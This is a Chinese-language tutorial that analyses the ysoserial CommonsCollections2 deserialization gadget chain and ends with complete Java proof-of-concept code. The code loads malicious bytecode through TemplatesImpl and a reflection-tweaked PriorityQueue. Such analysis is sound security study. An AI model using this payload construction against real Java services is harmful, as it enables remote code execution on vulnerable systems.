在最后一步的實作上，cc2和cc3一樣，最終都是通過TemplatesImpl惡意位元組碼檔案動態加載方式實作反序列化，
已知的TemplatesImpl->newTransformer()是最終要執行的，
TemplatesImpl類動態加載方式的實作分析見ysoserial CommonsCollections3 分析中的一、二部分，
TemplatesImpl->newTransformer()的呼叫通過InvokerTransformer.transform()反射機制實作，這里可以看ysoserial CommonsCollections1 分析中的前半部分內容，
cc2是針對commons-collections4版本，利用鏈如下：
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
所以在InvokerTransformer.transform()之后的利用如下：
public class CC2Test2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field name = templates_cl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"xxx");
Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
transletIndex.setAccessible(true);
transletIndex.set(templates,0);
byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
byte[][] codes = {code};
//給_bytecodes賦值
Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);
//要順利執行，_tfactory得賦值，因為defineTransletClasses中呼叫了_tfactory的getExternalExtensionsMap
//_tfactorys是TransformerFactoryImpl型別的
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
Field tfactory = templates_cl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,transformerFactory);
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
transformer.transform(templates);
}
}
一、InvokerTransformer.transform()的呼叫
TransformingComparator的compare，實作了對屬性this.transformer的transform呼叫，這里可以通過TransformingComparator構造方法為該屬性賦值，
public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
private static final long serialVersionUID = 3456940356043606220L;
private final Comparator<O> decorated;
private final Transformer<? super I, ? extends O> transformer;
public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}
public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
}
通過compare的呼叫
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
TransformingComparator transformingComparator = new TransformingComparator(transformer);
transformingComparator.compare(null,templates);
二、TransformingComparator.compare()的呼叫
PriorityQueue類中的readobject()呼叫了heapify()，heapify()中呼叫了siftDown()，siftDown()呼叫了siftDownUsingComparator()，siftDownUsingComparator()方法實作了comparator.compare()呼叫，
那么只要將transformingComparator物件賦值給comparator，可以通過反射，也可以通過構造方法，這里通過構造方法，且initialCapacity不能小于1，
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}
由于comparator.compare()中的引數來自queue，所以需要將templates賦值給queue，
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(templates);
但是由于在priorityQueue.add()方法中會呼叫siftUp()->siftUpUsingComparator()->comparator.compare()，
priorityQueue.add()中帶入的引數物件如果不存在newTransformer方法將報錯，另外使用templates作為引數，又會導致在序列化程序構造惡意物件的時候得到執行，所以這里先用toString()方法代替，后通過反射方式修改this.iMethodName屬性，
TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");
三、queue屬性賦值
transient queue無法序列化，但在PriorityQueue的writeobject()、readobject中對queue做了重寫，實作序列化和反序列化，
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
//略
for (int i = 0; i < size; i++)
s.writeObject(queue[i]);
}
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
//略
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
heapify();
}
通過反射修改queues[0]，利用如下：
TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
Object[] queues = (Object[]) queue.get(priorityQueue);
queues[0] = templates;
//這里得替換queues[0]
//如果queues[0]依舊保留使用Integer，會因為無法找到newTransformer報錯，
最終完整利用實作：
public class CC2Test2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field name = templates_cl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"xxx");
Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
transletIndex.setAccessible(true);
transletIndex.set(templates,0);
byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
byte[][] codes = {code};
//給_bytecodes賦值
Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);
//要順利執行，_tfactory得賦值，因為defineTransletClasses中呼叫了_tfactory的getExternalExtensionsMap
//_tfactorys是TransformerFactoryImpl型別的
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
Field tfactory = templates_cl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,transformerFactory);
InvokerTransformer transformer = new InvokerTransformer("toString", null, null);
TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
Object[] queues = (Object[]) queue.get(priorityQueue);
queues[0] = templates;
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc2.ser"));
objectOutputStream.writeObject(priorityQueue);
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc2.ser"));
objectInputStream.readObject();
}
}
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